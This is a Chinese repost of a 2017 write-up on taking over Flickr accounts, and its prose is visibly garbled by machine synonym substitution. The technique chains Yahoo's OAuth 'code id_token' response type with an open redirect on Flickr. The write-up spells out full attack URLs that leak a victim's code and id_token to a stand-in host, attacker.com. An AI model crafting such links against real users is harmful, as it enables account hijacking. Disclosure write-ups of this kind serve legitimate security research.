欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

怎么样运用OAuth错误配置达到接管Flickr账号的目的

来源:本站整理 作者:佚名 时间:2017-10-18 TAG: 我要投稿


Flickr是雅虎旗下的一个图片视频分享网站,想必人人很认识。雅虎如今应用了OAuth验证情势代替以前的登岸方法。本文作者经由过程反省登岸流程发明了其中的漏洞破绽bug。
新的Flickr登岸流程
用户想要登岸Flickr.com时,必要点击登岸按钮,就会被重定向到如下链接:
https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252F%253Fytcheck%253D1%2526new_session%253D1&response_type=code&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq
假如用户没有登岸到雅虎,就会被重定向到雅虎的登岸页面,输出用户名暗码后就会前往前面的这个URL
https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={redacted}
接下来,Flickr就会在后盾用雅虎供给的代码调换token,而后用这个access token,获得用户的数据。Flickr会让用户登岸,而后把他们重定向到url中redir参数指定的网址。
接收Flickr账号
在测试雅虎OAuth验证时,我看到了这个页面:https://developer.yahoo.com/oauth2/guide/openid_connect/getting_started.html。页面里说咱们能够设置response_type参数,这个参数能够包括多种数值。于是我感到反省一下,把参数设置成code id_token。成果雅虎没有把代码发送给Flickr,而是把code和id_token放到了URL中:
https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1#code={redacted}&id_token={redacted}
url中#前面的部门实际上是处置重定向响合时预留的。应用这个小成绩,咱们能够把用户的code参数泄漏到前面参数中指定的任何处所。.
不外Flickr只要在正当的code经由过程query字符串传到服务器时才会履行重定向。是以假如黑客要泄漏code,就得要用他自己的账号先天生一个code而后发送到url的redirect_uri参数中。
如今咱们能够经由过程redir泄漏用户的code值了。然则实际上雅虎还会反省url是不是https://www.flickr.com/*这类情势的。
是以要想停止入侵攻击,咱们得找到flickr.com域名凋谢的重定向方法。要找到这个并不易,终极我在应用Flickr Android应历时找到这类重定向方法。我发明假如咱们把差错的token值传入它的客户端就能够经由过程callback_url参数停止重定向。
https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fgoogle.com%2F
咱们把他们联合起来,全部入侵攻击流程便是:
入侵攻击者用自己的测试账号天生Flickr认证代码,而后构建下面的url,发送给受害者(咱们假定attacker.com是入侵攻击者的服务器):
https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fcode%3D{here-is-the-attacker’s-code}%26redir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsharing_connect.gne%253Fservice_type_id%253D9%2526token%253Da%2526callback_url%253Dhttps%25253A%25252F%25252F%25252Fattacker.com%25252F&response_type=code id_token&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq
当受害者点击链接时就会被重定向到:
https://www.flickr.com/signin/yahoo/oauth/?code={here-is-the-attacker’s-code}&redir=https%3A%2F%2Fwww.flickr.com%2Fsharing_connect.gne%3Fservice_type_id%3D9%26token%3Da%26callback_url%3Dhttps%253A%252F%252F%252Fattacker.com%252F#code={victim’s-code}&id_token={victim’s-id_token}
如许入侵攻击者就能够从受害者的浏览器登岸到Flickr,而后把受害者重定向到:
https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fattacker.com%2F#code=victim’s-code&id_token=victim’s-id_token
再重定向到:
https://attacker.com/#code={victim’s-code}&id_token={victim’s-id_token}
以后入侵攻击者能够应用JavaScript提取url和浏览器中的code:
https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={victim’s-code}

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载